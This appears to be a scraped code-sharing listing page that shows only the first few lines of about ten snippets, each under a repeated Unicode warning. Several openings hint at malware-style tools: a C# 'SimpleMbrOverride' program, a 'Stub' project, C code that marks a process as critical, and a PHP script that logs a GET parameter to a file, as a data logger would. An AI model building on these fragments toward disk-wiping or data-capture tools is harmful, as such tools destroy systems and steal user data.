This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <ntdef.h> | |
EXTERN_C NTSTATUS NTAPI NtClose(HANDLE); | |
int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show) | |
{ | |
STARTUPINFO si={}; | |
PROCESS_INFORMATION pi={}; | |
char dll[260]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <Windows.h> | |
#include <Psapi.h> | |
#pragma comment(lib, "Psapi.lib") | |
#pragma comment(lib,"Advapi32.lib") | |
#define ProcessBreakOnTermination 29 | |
typedef int ProcessInformationClass; | |
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)( | |
HANDLE ProcessHandle, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.ComponentModel; | |
using System.Data; | |
using System.Drawing; | |
using System.IO; | |
using System.Linq; | |
using System.Text; | |
using System.Threading.Tasks; | |
using System.Windows.Forms; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$msg = $_GET['info']; | |
$logfile= 'data.txt'; | |
$fp = fopen($logfile, "a"); | |
fwrite($fp, $msg); | |
fclose($fp); | |
?>? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$xink = htmlspecialchars($_GET["link"]); | |
$xbps = htmlspecialchars($_GET["kbps"]); | |
function get_320($link, $kbps){ | |
$html = file_get_contents($link); | |
$start = stripos($html, '<div class="text-center">'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// the message | |
$msg = $_GET['mailbody']; | |
// use wordwrap() if lines are longer than 70 characters | |
$msg = wordwrap($msg,70); | |
// send email | |
mail("<mail-addr>","<subject>",$msg); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$file = fopen('a.txt', 'w'); | |
fwrite($file,"true"); | |
fclose($file); | |
?>sx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace SimpleMbrOverride | |
{ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Windows.Forms; | |
public class Program | |
{ | |
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx | |
[DllImport("kernel32")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.IO; | |
using System.Linq; | |
using System.Text; | |
using System.Threading.Tasks; | |
namespace Stub | |
{ | |
class Program |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Public Class Form1 | |
Private Declare Function SHEmptyRecycleBin Lib “shell32.dll” Alias “SHEmptyRecycleBinA” (ByVal hWnd As Int32, ByVal pszRootPath As String, ByVal dwFlags As Int32) As Int32 | |
Private Declare Function SHUpdateRecycleBinIcon Lib “shell32.dll” () As Int32 | |
Private Const SHERB_NOCONFIRMATION = &H1 | |
Private Const SHERB_NOPROGRESSUI = &H2 | |
Private Const SHERB_NOSOUND = &H4 | |
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click | |
SHEmptyRecycleBin(Me.Handle.ToInt32, vbNullString, SHERB_NOCONFIRMATION) |